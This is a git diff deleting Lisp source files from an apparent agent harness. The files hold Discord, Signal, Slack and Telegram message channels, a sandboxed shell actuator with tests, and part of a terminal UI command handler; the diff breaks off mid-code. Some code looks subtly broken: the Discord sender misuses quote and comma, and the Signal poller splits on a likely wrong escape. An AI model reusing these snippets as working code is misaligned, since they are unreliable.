diff --git a/lisp/channel-cli.lisp b/lisp/channel-cli.lisp deleted file mode 100644 index 1346b27..0000000 --- a/lisp/channel-cli.lisp +++ /dev/null @@ -1,35 +0,0 @@ -(in-package :passepartout) - -(defun channel-cli-input (text) - "Processes raw text from the command line." - (stimulus-inject (list :type :EVENT - :payload (list :sensor :user-input :text text) - :meta (list :source :CLI)))) - -(defskill :passepartout-channel-cli - :priority 100 - :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI)) - :deterministic (lambda (action ctx) (declare (ignore ctx)) action)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-channel-cli-tests - (:use :cl :passepartout) - (:export #:cli-suite)) - -(in-package :passepartout-channel-cli-tests) - -(fiveam:def-suite cli-suite :description "Verification of the CLI Gateway") -(fiveam:in-suite cli-suite) - -(fiveam:test test-channel-cli-input-format - "Contract 1: channel-cli-input injects a properly formed signal without error." - (handler-case - (progn (channel-cli-input "hello") (fiveam:pass)) - (error (c) - (fiveam:fail "channel-cli-input crashed: ~a" c)))) - -(handler-case - (progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK")) - (error (c) (log-message "CLI: Load-time test FAILED: ~a" c))) diff --git a/lisp/channel-discord.lisp b/lisp/channel-discord.lisp deleted file mode 100644 index 6e54b20..0000000 --- a/lisp/channel-discord.lisp +++ /dev/null @@ -1,50 +0,0 @@ -(in-package :passepartout) -(defun discord-get-token () - (vault-get-secret :discord)) - -(defun discord-send (action context) - "Sends a message via Discord REST API." - (declare (ignore context)) - (let* ((payload (getf action :payload)) - (meta (getf action :meta)) - (channel-id (or (getf meta :channel-id) (getf payload :chat-id))) - (text (or (getf payload :text) (getf action :text))) - (token (discord-get-token))) - (when (and token channel-id text) - (handler-case - (dex:post (format nil "https://discord.com/api/v10/channels/~a/messages" channel-id) - :headers '(("Authorization" . ,(format nil "Bot ~a" token)) - ("Content-Type" . "application/json")) - :content (cl-json:encode-json-to-string - `((content . ,text)))) - (error (c) (log-message "DISCORD ERROR: ~a" c)))))) - -(defun discord-poll () - "Polls Discord via HTTP GET /channels/{id}/messages. In production, -a WebSocket connection to the Gateway is preferred for real-time events." - (let* ((token (discord-get-token))) - (when token - (handler-case - (dolist (channel '("channel-id-here")) ;; configured channel IDs - (let* ((last-id (getf (gethash "discord" *gateway-configs*) :last-update-id 0)) - (url (format nil "https://discord.com/api/v10/channels/~a/messages?after=~a" - channel last-id)) - (response (dex:get url :headers - `(("Authorization" . ,(format nil "Bot ~a" token)))))) - (let ((messages (ignore-errors - (cdr (assoc :message - (cl-json:decode-json-from-string response)))))) - (dolist (msg (and (listp messages) messages)) - (let* ((id (cdr (assoc :id msg))) - (content (cdr (assoc :content msg))) - (author (cdr (assoc :author msg))) - (author-id (cdr (assoc :id author))) - (is-bot (cdr (assoc :bot author)))) - (when (and id content (not is-bot)) - (setf (getf (gethash "discord" *gateway-configs*) :last-update-id) id) - (unless (ignore-errors (hitl-handle-message content :discord)) - (stimulus-inject - (list :type :EVENT - :meta (list :source :discord :chat-id channel) - :payload (list :sensor :user-input :text content)))))))))) - (error (c) (log-message "DISCORD POLL ERROR: ~a" c)))))) diff --git a/lisp/channel-shell.lisp b/lisp/channel-shell.lisp deleted file mode 100644 index d0cfd86..0000000 --- a/lisp/channel-shell.lisp +++ /dev/null @@ -1,95 +0,0 @@ -(in-package :passepartout) - -(defvar *bwrap-available* nil - "Set to T at load time if the bwrap binary is found in PATH.") - -(defvar *bwrap-base-args* - '("--ro-bind" "/usr" "/usr" - "--ro-bind" "/lib" "/lib" - "--ro-bind" "/bin" "/bin" - "--ro-bind" "/etc" "/etc" - "--bind" "/tmp" "/tmp" - "--unshare-net" - "--unshare-ipc") - "Base bwrap arguments for the sandbox. --bind ~/memex ~/memex is added dynamically.") - -(defun bwrap-available-p () - "Returns T if bwrap (bubblewrap) is installed and usable." - *bwrap-available*) - -(defun bwrap-wrap-command (cmd timeout memex-dir) - "Wrap CMD in a bwrap sandbox with network and IPC isolation. -Returns a list suitable for uiop:run-program." - `("bwrap" - ,@*bwrap-base-args* - "--bind" ,memex-dir ,memex-dir - "timeout" ,(format nil "~a" timeout) - "bash" "-c" ,cmd)) - -;; Initialize at load time -(setf *bwrap-available* - (= 0 (nth-value 2 (uiop:run-program '("which" "bwrap") :output nil :error-output nil :ignore-error-status t)))) - -(defun actuator-shell-execute (action context) - "Executes a shell command via the OS timeout binary with output limit. -When bwrap is available, wraps the command in a Linux namespace sandbox." - (declare (ignore context)) - (let* ((payload (getf action :payload)) - (cmd (getf payload :cmd)) - (timeout-sym (find-symbol "*DISPATCHER-SHELL-TIMEOUT*" :passepartout)) - (timeout (or (getf payload :timeout) (if timeout-sym (symbol-value timeout-sym) 30))) - (max-sym (find-symbol "*DISPATCHER-SHELL-MAX-OUTPUT*" :passepartout)) - (max-output (or (getf payload :max-output) (if max-sym (symbol-value max-sym) 100000))) - (memex-dir (or (uiop:getenv "MEMEX_DIR") (namestring (merge-pathnames "memex/" (user-homedir-pathname)))))) - (log-message "ACT [Shell]: ~a (timeout: ~as)~@[ bwrap: enabled~]" cmd timeout (and *bwrap-available* " (bwrap)")) - (let ((cmdline (if *bwrap-available* - (bwrap-wrap-command cmd timeout memex-dir) - (list "timeout" (format nil "~a" timeout) "bash" "-c" cmd)))) - (multiple-value-bind (out err code) - (uiop:run-program cmdline - :output :string :error-output :string - :ignore-error-status t) - (cond - ((= code 124) (format nil "ERROR: Command timed out after ~a seconds" timeout)) - ((> (length out) max-output) - (format nil "~a~%... (output truncated to ~a chars)" (subseq out 0 max-output) max-output)) - ((= code 0) out) - (t (format nil "ERROR [~a]: ~a" code err))))))) - -(register-actuator :shell #'actuator-shell-execute) - -(defskill :passepartout-channel-shell - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-shell-actuator-tests - (:use :cl :fiveam :passepartout) - (:export #:shell-actuator-suite)) - -(in-package :passepartout-shell-actuator-tests) - -(def-suite shell-actuator-suite :description "Verification of the Shell Actuator") -(in-suite shell-actuator-suite) - -(test test-bwrap-wrap-command - "Contract 2: bwrap-wrap-command returns properly formatted command list." - (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex"))) - (is (member "bwrap" cmdline :test #'string=)) - (is (member "--unshare-net" cmdline :test #'string=)) - (is (member "--unshare-ipc" cmdline :test #'string=)) - (is (member "echo hello" cmdline :test #'string=)))) - -(test test-bwrap-available-p-returns-boolean - "Contract 1: bwrap-available-p returns T or NIL." - (let ((avail (passepartout::bwrap-available-p))) - (is (typep avail 'boolean)))) - -(test test-actuator-shell-execute-echo - "Contract 3: actuator-shell-execute runs echo and returns output." - (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello"))) - (result (passepartout::actuator-shell-execute action nil))) - (is (stringp result)) - (is (search "hello" result :test #'char-equal)))) diff --git a/lisp/channel-signal.lisp b/lisp/channel-signal.lisp deleted file mode 100644 index a1e7fd9..0000000 --- a/lisp/channel-signal.lisp +++ /dev/null @@ -1,41 +0,0 @@ -(in-package :passepartout) -(defun signal-get-account () - (vault-get-secret :signal)) - -(defun signal-poll () - "Polls Signal for new messages and injects them into the harness." - (let ((account (signal-get-account))) - (when account - (handler-case - (let* ((output (uiop:run-program (list "signal-cli" "-u" account "receive" "--json") - :output :string :error-output :string :ignore-error-status t)) - (lines (cl-ppcre:split "\\\\n" output))) - (dolist (line lines) - (when (and line (> (length line) 0)) - (let* ((json (ignore-errors (cl-json:decode-json-from-string line))) - (envelope (cdr (assoc :envelope json))) - (source (cdr (assoc :source envelope))) - (data-message (cdr (assoc :data-message envelope))) - (text (cdr (assoc :message data-message)))) - (when (and source text) - (log-message "SIGNAL: Received message from ~a" source) - (unless (ignore-errors (hitl-handle-message text :signal)) - (stimulus-inject - (list :type :EVENT - :meta (list :source :signal :chat-id source) - :payload (list :sensor :user-input :text text))))))))) - (error (c) (log-message "SIGNAL POLL ERROR: ~a" c)))))) - -(defun signal-send (action context) - "Sends a message via Signal." - (declare (ignore context)) - (let* ((payload (getf action :payload)) - (meta (getf action :meta)) - (chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id))) - (text (or (getf payload :text) (getf action :text))) - (account (signal-get-account))) - (when (and account chat-id text) - (handler-case - (uiop:run-program (list "signal-cli" "-u" account "send" "-m" text chat-id) - :output :string :error-output :string) - (error (c) (log-message "SIGNAL ERROR: ~a" c)))))) diff --git a/lisp/channel-slack.lisp b/lisp/channel-slack.lisp deleted file mode 100644 index 0f5bbd9..0000000 --- a/lisp/channel-slack.lisp +++ /dev/null @@ -1,45 +0,0 @@ -(in-package :passepartout) -(defun slack-get-token () - (vault-get-secret :slack)) - -(defun slack-send (action context) - "Sends a message via Slack Web API." - (declare (ignore context)) - (let* ((payload (getf action :payload)) - (meta (getf action :meta)) - (channel (or (getf meta :channel-id) (getf payload :chat-id))) - (text (or (getf payload :text) (getf action :text))) - (token (slack-get-token))) - (when (and token channel text) - (handler-case - (dex:post "https://slack.com/api/chat.postMessage" - :headers `(("Authorization" . ,(format nil "Bearer ~a" token)) - ("Content-Type" . "application/json; charset=utf-8")) - :content (cl-json:encode-json-to-string - `((channel . ,channel) (text . ,text)))) - (error (c) (log-message "SLACK ERROR: ~a" c)))))) - -(defun slack-poll () - "Polls Slack for new messages via conversations.history." - (let* ((token (slack-get-token))) - (when token - (dolist (channel '("general")) ;; configured channel IDs - (handler-case - (let* ((url (format nil "https://slack.com/api/conversations.history?channel=~a&limit=5" channel)) - (response (dex:get url :headers - `(("Authorization" . ,(format nil "Bearer ~a" token)))))) - (let* ((json (ignore-errors (cl-json:decode-json-from-string response))) - (ok (cdr (assoc :ok json))) - (messages (cdr (assoc :messages json)))) - (when (and ok messages (listp messages)) - (dolist (msg messages) - (let* ((text (cdr (assoc :text msg))) - (user (cdr (assoc :user msg))) - (ts (cdr (assoc :ts msg)))) - (when (and text user (not (string= user "USLACKBOT"))) - (unless (ignore-errors (hitl-handle-message text :slack)) - (stimulus-inject - (list :type :EVENT - :meta (list :source :slack :chat-id channel) - :payload (list :sensor :user-input :text text)))))))))) - (error (c) (log-message "SLACK POLL ERROR: ~a" c))))))) diff --git a/lisp/channel-telegram.lisp b/lisp/channel-telegram.lisp deleted file mode 100644 index 01b806b..0000000 --- a/lisp/channel-telegram.lisp +++ /dev/null @@ -1,47 +0,0 @@ -(in-package :passepartout) -(defun telegram-get-token () - (vault-get-secret :telegram)) - -(defun telegram-poll () - "Polls Telegram for new messages and injects them into the harness." - (let* ((token (telegram-get-token))) - (when token - (let* ((last-id (getf (gethash "telegram" *gateway-configs*) :last-update-id 0)) - (url (format nil "https://api.telegram.org/bot~a/getUpdates?offset=~a" - token (1+ last-id)))) - (handler-case - (let* ((response (dex:get url)) - (json (cl-json:decode-json-from-string response)) - (updates (cdr (assoc :result json)))) - (dolist (update updates) - (let* ((update-id (cdr (assoc :update--id update))) - (message (cdr (assoc :message update))) - (chat (cdr (assoc :chat message))) - (chat-id (cdr (assoc :id chat))) - (text (cdr (assoc :text message)))) - (setf (getf (gethash "telegram" *gateway-configs*) :last-update-id) update-id) - (when (and text chat-id) - (log-message "TELEGRAM: Received message from ~a" chat-id) - (unless (ignore-errors (hitl-handle-message text :telegram)) - (stimulus-inject - (list :type :EVENT - :meta (list :source :telegram :chat-id (format nil "~a" chat-id)) - :payload (list :sensor :user-input :text text)))))))) - (error (c) (log-message "TELEGRAM POLL ERROR: ~a" c))))))) - -(defun telegram-send (action context) - "Sends a message via Telegram." - (declare (ignore context)) - (let* ((payload (getf action :payload)) - (meta (getf action :meta)) - (chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id))) - (text (or (getf payload :text) (getf action :text))) - (token (telegram-get-token))) - (when (and token chat-id text) - (handler-case - (let ((url (format nil "https://api.telegram.org/bot~a/sendMessage" token))) - (dex:post url - :headers '(("Content-Type" . "application/json")) - :content (cl-json:encode-json-to-string - `((chat_id . ,chat-id) (text . ,text))))) - (error (c) (log-message "TELEGRAM ERROR: ~a" c)))))) diff --git a/lisp/channel-tui-main.lisp b/lisp/channel-tui-main.lisp deleted file mode 100644 index e8b3c6e..0000000 --- a/lisp/channel-tui-main.lisp +++ /dev/null @@ -1,1540 +0,0 @@ -(in-package :passepartout.channel-tui) - -(defun on-key (ch) - (cond - ;; v0.7.1: Esc — interrupt streaming - ((and (or (eq ch :escape) (eql ch 27)) (st :streaming-text)) - (send-daemon (list :type :event :payload '(:action :cancel-stream))) - (when (> (length (st :messages)) 0) - (let ((idx (1- (length (st :messages))))) - (setf (getf (aref (st :messages) idx) :content) - (concatenate 'string - (getf (aref (st :messages) idx) :content) - " [interrupted]")) - (setf (getf (aref (st :messages) idx) :streaming) nil) - (setf (getf (aref (st :messages) idx) :time) (now)))) - (setf (st :streaming-text) nil) - (setf (st :busy) nil) - (setf (st :dirty) (list t t nil))) - ;; v0.7.2: Esc — exit search mode - ((and (eql ch 27) (st :search-mode)) - (setf (st :search-mode) nil - (st :search-matches) nil - (st :search-query) "") - (setf (st :dirty) (list nil t nil)) - (add-msg :system "Search exited")) - ;; v0.7.2: search mode — Up/Down navigate matches - ((and (st :search-mode) (or (eql ch 259) (eq ch :up))) - (let* ((matches (st :search-matches)) - (idx (st :search-match-idx)) - (new-idx (max 0 (1- idx)))) - (setf (st :search-match-idx) new-idx) - (when matches - (setf (st :scroll-offset) (nth new-idx matches)) - (add-msg :system (format nil "Match ~d/~d" (1+ new-idx) (length matches))) - (setf (st :dirty) (list nil t nil))))) - ((and (st :search-mode) (or (eql ch 258) (eq ch :down))) - (let* ((matches (st :search-matches)) - (idx (st :search-match-idx)) - (new-idx (min (1- (length matches)) (1+ idx)))) - (setf (st :search-match-idx) new-idx) - (when matches - (setf (st :scroll-offset) (nth new-idx matches)) - (add-msg :system (format nil "Match ~d/~d" (1+ new-idx) (length matches))) - (setf (st :dirty) (list nil t nil))))) - ;; v0.7.2: search mode — Enter jumps to current match - ((and (st :search-mode) (or (eql ch 13) (eql ch 10) (eq ch :enter))) - (let ((matches (st :search-matches)) - (idx (st :search-match-idx))) - (when (and matches (>= (length matches) (1+ idx))) - (setf (st :scroll-offset) (nth idx matches)) - (setf (st :search-mode) nil - (st :search-matches) nil - (st :search-query) "") - (add-msg :system (format nil "Jumped to match ~d" (1+ idx))) - (setf (st :dirty) (list nil t nil))))) - ;; v0.7.1: Tab on empty input — extract then open URL from agent message - ((and (or (eql ch 9) (eq ch :tab)) - (null (st :input-buffer))) - (if (st :url-buffer) - ;; Already extracted — now open it - (progn - (add-msg :system (format nil "Opening ~a" (st :url-buffer))) - (setf (st :url-buffer) nil)) - ;; Extract URL from last agent message - (let ((url nil)) - (loop for i from (1- (length (st :messages))) downto 0 - for msg = (aref (st :messages) i) - for content = (getf msg :content) - for role = (getf msg :role) - while (eq role :agent) - when content - do (let ((pos (or (search "https://" content) (search "http://" content)))) - (when pos - (let ((end (or (position-if (lambda (c) (find c (list #\Space #\Newline #\Tab (code-char 41)))) - content :start pos) - (length content)))) - (setf url (subseq content pos end)) - (return))))) - (if url - (progn - (setf (st :url-buffer) url) - (add-msg :system (format nil "Press Tab to open ~a" url)) - (setf (st :dirty) (list t t nil))) - nil)))) - ;; Enter - ((or (eq ch :enter) (eql ch 13) (eql ch 10) (eql ch 343) - (eql ch #\Newline) (eql ch #\Return)) - ;; Multi-line: if buffer ends with \, strip it and insert newline - (if (and (st :input-buffer) (eql (first (st :input-buffer)) #\\)) - (progn (pop (st :input-buffer)) - (push #\Newline (st :input-buffer)) - (setf (st :dirty) (list nil nil t))) - (let ((text (string-trim '(#\Space #\Tab) (input-string)))) - (when (> (length text) 0) - (push text (st :input-history)) - (setf (st :input-hpos) 0) - (setf (st :scroll-offset) 0) - (cond - ;; v0.7.2: undo/redo - ((string-equal text "/undo") - (send-daemon (list :type :event :payload (list :sensor :undo))) - (add-msg :system "Undo: restoring memory to previous state")) - ((string-equal text "/redo") - (send-daemon (list :type :event :payload (list :sensor :redo))) - (add-msg :system "Redo: restoring memory")) - ;; /help command - ((and (>= (length text) 9) - (string-equal (subseq text 0 9) "/approve ")) - (let ((token (string-trim '(#\Space) (subseq text 9)))) - (send-daemon (list :type :event :payload - (list :action :hitl-respond :token token :decision :approved))) - (add-msg :system (format nil "✓ Approved: ~a" token)) - (resolve-hitl-panel :approved))) - ((and (>= (length text) 6) - (string-equal (subseq text 0 6) "/deny ")) - (let ((token (string-trim '(#\Space) (subseq text 6)))) - (send-daemon (list :type :event :payload - (list :action :hitl-respond :token token :decision :denied))) - (add-msg :system (format nil "✗ Denied: ~a" token)) - (resolve-hitl-panel :denied))) - ;; /help command - ;; /why command — show last gate trace - ((string-equal text "/why") - (let ((msgs (st :messages)) - (found nil)) - (loop for i from (1- (length msgs)) downto 0 - for m = (aref msgs i) - for gt = (getf m :gate-trace) - when (and gt (listp gt) (> (length gt) 0)) - do (setf found t) - (dolist (entry gt) - (let* ((gate (getf entry :gate)) - (result (getf entry :result)) - (reason (getf entry :reason)) - (msg (format nil "~a ~a~@[ — ~a~]" - (case result (:passed "[PASS]") (:blocked "[BLOCKED]") (:approval "[HITL]")) - (or gate "unknown") - reason))) - (add-msg :system msg))) - (loop-finish)) - (unless found - (add-msg :system "No recent gate trace. Run a tool to see gate decisions.")))) - ;; /identity command — edit and reload identity file - ((string-equal text "/identity") - (let* ((editor (or (uiop:getenv "EDITOR") "emacs")) - (path (merge-pathnames "memex/IDENTITY.org" (user-homedir-pathname)))) - (add-msg :system (format nil "Opening ~a in ~a..." (namestring path) editor)) - (uiop:run-program (list editor (namestring path)) :output t :error-output t) - (when (fboundp 'load-identity-file) - (funcall 'load-identity-file)) - (add-msg :system "Identity reloaded"))) - ;; /audit command — Merkle provenance - ((and (>= (length text) 7) (string-equal (subseq text 0 7) "/audit ")) - (if (fboundp 'audit-node) - (let* ((node-id (string-trim '(#\Space) (subseq text 7))) - (info (funcall 'audit-node node-id))) - (if info - (add-msg :system (format nil "Node ~a: type=~a scope=~a hash=~a" - (getf info :id) (getf info :type) - (getf info :scope) - (subseq (or (getf info :hash) "(none)") 0 16))) - (add-msg :system (format nil "Node ~a not found" node-id)))) - (add-msg :system "Memory audit not available"))) - ;; /tags command — tag stack with trigger counts - ((string-equal text "/tags") - (let ((cats passepartout::*tag-categories*) - (counts passepartout::*tag-trigger-count*)) - (if cats - (dolist (entry cats) - (let* ((tag (car entry)) - (sev (cdr entry)) - (n (gethash (string-downcase tag) counts 0))) - (add-msg :system (format nil "~a: ~a (~d trigger~:p this session)" tag sev n)))) - (add-msg :system "No tags configured. Set TAG_CATEGORIES env var.")))) - ;; /context command — section breakdown with token estimates - ((string-equal text "/context") - (let* ((msg-count (length (st :messages))) - (id-tokens (min 200 (floor (+ 150 (length (or (st :focus-scope) ""))) 4))) - (tool-tokens (if (boundp 'passepartout::*cognitive-tool-registry*) - (floor (* (hash-table-count passepartout::*cognitive-tool-registry*) 40) 4) - 50)) - (log-tokens (min 4000 (floor (* msg-count 60) 4))) - ;; rough estimate: TIME, CONTEXT overhead - (overhead-tokens 200) - (total-est (+ id-tokens tool-tokens log-tokens overhead-tokens)) - (total-limit 8192) - (pct-used (floor (* 100 total-est) total-limit)) - (bar (make-string (min 10 (max 1 (floor (/ (min total-est total-limit) total-limit) 10))) - :initial-element #\#))) - (add-msg :system (format nil "╔══ Context Budget ~a/~a tokens (~d%) ══╗" total-est total-limit pct-used)) - (add-msg :system (format nil "IDENTITY ~5d tokens" id-tokens)) - (add-msg :system (format nil "TOOLS ~5d tokens" tool-tokens)) - (add-msg :system (format nil "TIME+CONFIG ~5d tokens" overhead-tokens)) - (add-msg :system (format nil "LOGS ~5d tokens (~d msgs)" log-tokens msg-count)) - (add-msg :system (format nil " [~a~a] ~d%" - bar (make-string (- 10 (length bar)) :initial-element #\Space) pct-used)) - (when (> pct-used 80) - (add-msg :system "⚠ Context near limit — older messages may be dropped")))) - ;; /context why — debug node with full attributes - ((and (>= (length text) 13) (string-equal (subseq text 0 13) "/context why ")) - (let ((node-id (string-trim '(#\Space) (subseq text 13)))) - (if (fboundp 'passepartout::memory-object-get) - (let ((obj (funcall 'passepartout::memory-object-get node-id))) - (if obj - (let ((attrs (passepartout::memory-object-attributes obj)) - (parent (passepartout::memory-object-parent-id obj)) - (children (passepartout::memory-object-children obj)) - (hash (or (passepartout::memory-object-hash obj) "(none)"))) - (add-msg :system (format nil "Node ~a: type=~a scope=~a version=~a" - node-id - (passepartout::memory-object-type obj) - (passepartout::memory-object-scope obj) - (passepartout::memory-object-version obj))) - (when parent - (add-msg :system (format nil " parent: ~a" parent))) - (when children - (add-msg :system (format nil " children: ~d" (length children)))) - (add-msg :system (format nil " hash: ~a" (subseq hash 0 (min 32 (length hash))))) - (when attrs - (add-msg :system (format nil " title: ~a" (or (getf attrs :TITLE) "(none)"))))) - (add-msg :system (format nil "Node ~a not found in memory" node-id)))) - (add-msg :system "Memory not available")))) - ;; /context dropped — estimate pruned nodes from budget - ((string-equal text "/context dropped") - (let* ((msg-count (length (st :messages))) - (est-total (* msg-count 60)) - (budget 8192) - (dropped-msgs (if (> est-total budget) - (floor (- est-total budget) 60) - 0))) - (if (> dropped-msgs 0) - (add-msg :system (format nil "Estimate: ~d messages (~d tokens) may be pruned at budget ~d tokens (~d% used)" - dropped-msgs (- est-total budget) budget - (floor (* 100 est-total) budget))) - (add-msg :system (format nil "Within budget: ~d tokens used of ~d tokens (~d%)" - est-total budget (floor (* 100 est-total) budget)))))) - ;; /search command — message search - ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/search ")) - (let* ((query (string-downcase (string-trim '(#\Space) (subseq text 8)))) - (msgs (st :messages)) - (total (length msgs)) - (matches nil)) - (loop for i from 0 below total - for m = (aref msgs i) - for content = (getf m :content) - when (search query (string-downcase content)) - do (push i matches)) - (setf matches (nreverse matches)) - ;; Enter search mode - (setf (st :search-mode) t - (st :search-query) query - (st :search-matches) matches - (st :search-match-idx) 0) - (if matches - (add-msg :system (format nil "Search: ~d matches for '~a' (1/~d) — Up/Down nav, Enter jump, Esc exit" - (length matches) query (length matches))) - (add-msg :system (format nil "0 matches for '~a'" query))))) - ;; /rewind command — session rewind - ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/rewind ")) - (let* ((n-str (string-trim '(#\Space) (subseq text 8))) - (n (handler-case (parse-integer n-str) (error () nil)))) - (if n - (if (fboundp 'passepartout::rollback-memory) - (let* ((idx (1- n)) - (snaps passepartout::*memory-snapshots*) - (ts (when (< idx (length snaps)) - (getf (nth idx snaps) :timestamp)))) - (funcall 'passepartout::rollback-memory idx) - (add-msg :system (format nil "Rewound ~d turn~:p~@[ (~a)~]" n ts))) - (add-msg :system "Memory rollback not available")) - (add-msg :system "Usage: /rewind ")))) - ;; /sessions command — list snapshots - ((string-equal text "/sessions") - (let ((snaps passepartout::*memory-snapshots*)) - (if snaps - (let ((shown (subseq snaps 0 (min 10 (length snaps))))) - (add-msg :system (format nil "~d snapshots (showing ~d):" - (length snaps) (length shown))) - (loop for s in shown - for i from 0 - for ts = (getf s :timestamp) - for data = (getf s :data) - for size = (hash-table-size data) - do (add-msg :system (format nil " #~d: ~a objects, timestamp ~d" - (1+ i) size ts)))) - (add-msg :system "No snapshots available")))) - ;; /audit verify — memory integrity - ((string-equal text "/audit verify") - (if (fboundp 'passepartout::audit-verify-hash) - (let* ((result (funcall 'passepartout::audit-verify-hash)) - (total (car result)) - (missing (cdr result))) - (add-msg :system (format nil "Audit: ~d objects, ~d missing hashes, ~d snapshots~@[ — VERIFY PASS~]~@[ — ~d MISSING HASHES~]" - total missing - (length passepartout::*memory-snapshots*) - (zerop missing) - (unless (zerop missing) missing)))) - (add-msg :system "Memory audit not available"))) - ;; /resume — resume from snapshot - ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/resume ")) - (let* ((n-str (string-trim '(#\Space) (subseq text 8))) - (n (handler-case (parse-integer n-str) (error () nil)))) - (if n - (if (fboundp 'passepartout::rollback-memory) - (progn (funcall 'passepartout::rollback-memory (1- n)) - (add-msg :system (format nil "Resumed from snapshot ~d" n))) - (add-msg :system "Memory rollback not available")) - (add-msg :system "Usage: /resume ")))) - ;; /help — search user manual - ((and (>= (length text) 6) (string-equal (subseq text 0 6) "/help ")) - (let ((topic (string-trim '(#\Space) (subseq text 6))) - (sections (self-help-lookup (string-trim '(#\Space) (subseq text 6))))) - (if sections - (dolist (entry sections) - (let* ((title (car entry)) - (content (cdr entry)) - (preview (if (> (length content) 300) - (concatenate 'string (subseq content 0 297) "...") - content))) - (add-msg :system (format nil "~a: ~a" title preview)))) - (add-msg :system (format nil "No manual section found for '~a'" topic))))) - ((string-equal text "/help") - (add-msg :system "/eval Evaluate Lisp") - (add-msg :system "/undo Undo last operation") - (add-msg :system "/redo Redo last operation") - (add-msg :system "/why Show last gate trace") - (add-msg :system "/identity Edit IDENTITY.org") - (add-msg :system "/tags List tag severities") - (add-msg :system "/audit Inspect memory object") - (add-msg :system "/search Search messages") - (add-msg :system "/context Show context summary") - (add-msg :system "/rewind Rewind to snapshot N") - (add-msg :system "/sessions Show snapshots") - (add-msg :system "/resume Resume from snapshot") - (add-msg :system "/focus Set project context") - (add-msg :system "/theme Show theme") - (add-msg :system "/help [topic] Show this help") - (add-msg :system "\\ + Enter Multi-line input") - (add-msg :system "Ctrl+G Toggle gate trace")) - ;; /theme command - ((string-equal text "/theme") - (add-msg :system (format nil "Theme: ~a — user-fg=~a agent-fg=~a system=~a input-fg=~a" - *tui-theme-current-name* - (getf *tui-theme* :user-fg) - (getf *tui-theme* :agent-fg) - (getf *tui-theme* :system) - (getf *tui-theme* :input-fg))) - (add-msg :system "Presets: /theme amber | gold | terracotta | sepia | nord-warm | monokai-warm | gruvbox-warm | light-amber | catppuccin | tokyonight | dracula | gemini | mono")) - ((and (>= (length text) 7) - (string-equal (subseq text 0 7) "/theme ")) - (let ((name (string-trim '(#\Space) (subseq text 7)))) - (if (theme-switch name) - (add-msg :system (format nil "Theme switched to ~a" name)) - (add-msg :system (format nil "Unknown theme '~a'. Try: amber gold terracotta sepia nord-warm monokai-warm gruvbox-warm light-amber catppuccin tokyonight dracula gemini mono" name))))) - ;; /eval command - ((and (>= (length text) 6) - (string-equal (subseq text 0 6) "/eval ")) - (handler-case - (let* ((*read-eval* t) - (*package* (find-package :passepartout.channel-tui)) - (r (eval (read-from-string (subseq text 6))))) - (add-msg :system (format nil "=> ~s" r))) - (error (c) (add-msg :system (format nil "=> ✗ ~a" c))))) - ;; /focus — set project context - ((and (>= (length text) 7) - (string-equal (subseq text 0 7) "/focus ")) - (let ((project (string-trim '(#\Space) (subseq text 7)))) - (if (and (fboundp 'focus-project) (> (length project) 0)) - (progn (funcall 'focus-project project nil) - (add-msg :system (format nil "Focused on project: ~a" project))) - (add-msg :system "Usage: /focus ")))) - ;; /scope — change context scope - ((and (>= (length text) 7) - (string-equal (subseq text 0 7) "/scope ")) - (let ((scope-str (string-trim '(#\Space) (subseq text 7)))) - (cond - ((and (fboundp 'focus-session) (string-equal scope-str "session")) - (funcall 'focus-session) - (add-msg :system "Scope: session")) - ((and (fboundp 'focus-project) (string-equal scope-str "project")) - (funcall 'focus-project nil nil) - (add-msg :system "Scope: project")) - ((and (fboundp 'focus-memex) (string-equal scope-str "memex")) - (funcall 'focus-memex) - (add-msg :system "Scope: memex")) - (t (add-msg :system "Usage: /scope memex|session|project"))))) - ;; /unfocus — pop context - ((and (>= (length text) 8) - (string-equal (subseq text 0 8) "/unfocus")) - (if (fboundp 'unfocus) - (progn (funcall 'unfocus) - (add-msg :system "Popped context")) - (add-msg :system "Context manager not loaded"))) - ;; /quit — save history and exit - ((or (string-equal text "/quit") (string-equal text "/q")) - (let ((hist-file (merge-pathnames ".cache/passepartout/history" - (user-homedir-pathname)))) - (uiop:ensure-all-directories-exist (list hist-file)) - (with-open-file (out hist-file :direction :output - :if-exists :supersede :if-does-not-exist :create) - (dolist (entry (reverse (st :input-history))) - (write-line entry out)))) - (add-msg :system "* Goodbye *") - (send-daemon (list :type :event :payload '(:action :quit))) - (setf (st :running) nil)) - ;; /reconnect — re-establish daemon connection - ((string-equal text "/reconnect") - (disconnect-daemon) - (add-msg :system "* Reconnecting... *") - (connect-daemon) - (setf (st :dirty) (list t t nil))) - ;; Normal message - (t - (add-msg :user text) - (setf (st :busy) t) - (send-daemon (list :type :event - :payload (list :sensor :user-input :text text))))) - (setf (st :input-buffer) nil) - (setf (st :cursor-pos) 0) - (setf (st :dirty) (list t t t)))))) - ;; Tab — command completion (v0.7.0: extended with subcommand + file paths) - ((or (eql ch 9) (eq ch :tab)) - (let ((text (input-string))) - (cond - ;; @ prefix — file path completion - ((and (>= (length text) 1) (eql (char text 0) #\@)) - (let* ((partial (subseq text 1)) - (memex (or (uiop:getenv "MEMEX_DIR") - (namestring (merge-pathnames "memex/" (user-homedir-pathname))))) - (proj (merge-pathnames (make-pathname :directory '(:relative "projects")) memex)) - (files (handler-case (append (uiop:directory-files proj "**/*.org") - (uiop:directory-files proj "**/*.lisp")) - (error () nil))) - (names (mapcar (lambda (f) (subseq (namestring f) (1+ (length (namestring proj))))) files)) - (match (find-if (lambda (n) (and (>= (length n) (length partial)) - (string-equal n partial :end2 (length partial)))) - names))) - (when match - (setf (st :input-buffer) (reverse (coerce (concatenate 'string "@" match) 'list))) - (setf (st :dirty) (list nil nil t))))) - ;; /theme subcommand - ((and (>= (length text) 7) (string-equal (subseq text 0 7) "/theme ")) - (let* 